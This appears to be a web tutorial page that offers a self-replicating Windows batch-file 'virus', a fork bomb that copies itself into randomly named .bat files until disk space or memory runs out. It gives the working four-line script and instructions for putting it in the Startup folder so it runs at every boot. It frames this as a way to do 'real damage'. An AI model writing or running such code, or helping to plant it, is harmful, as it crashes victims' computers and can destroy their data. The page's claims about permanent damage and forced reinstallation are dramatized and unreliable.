This virus combines the best of the fork bomb and the application flooder.

Explanation: This batch file creates another batch file in the same directory, then copies itself into each of these newly created files. These files are then started up. Of course, they are identical so both of them start up again and repeat the process until the computer runs out of memory and crashes (or the antivirus catches it).

What this will do, if you leave it on long enough (about a couple minutes), is it will create so many copies of itself on the hard drive that all the empty space has been filled with these bats. Also it will use up all the computer’s RAM as it is being told to run an ever-increasing number of the same processes, which over time gets too much for it to handle.

Depending on what runs out first hard disk space or RAM, the batch file may or may not cause permanent damage. In both cases, however, the computer will almost definitely crash, the operating system may be corrupted and on the next start up, you will be greeted by the well-known “Blue Screen Of Death”. The only way to get rid of it will be to format your hard drive and re-install the operating system.

@echo off
set x=%random%
type %0 >> %x%.bat
start %x%.bat

(Optional) To make this file execute automatically at startup, Do the following. Create a shortcut of the damage.bat file by right clicking on it. Open the start menu, In programs Open Startup folder and simply drag or cut-paste the shortcut into this folder. The virus will break loose the next time the computer is started up.

These past couple of batch file viruses were, at best, annoying. Now let’s do some real damage. Next up, we’re going to be wiping out memory.

Got any questions? Come, let's talk on twitter :)

Tell me that I made the right decision by making this website completely free and without any ads or paywalls by supporting me on Patreon.

go to top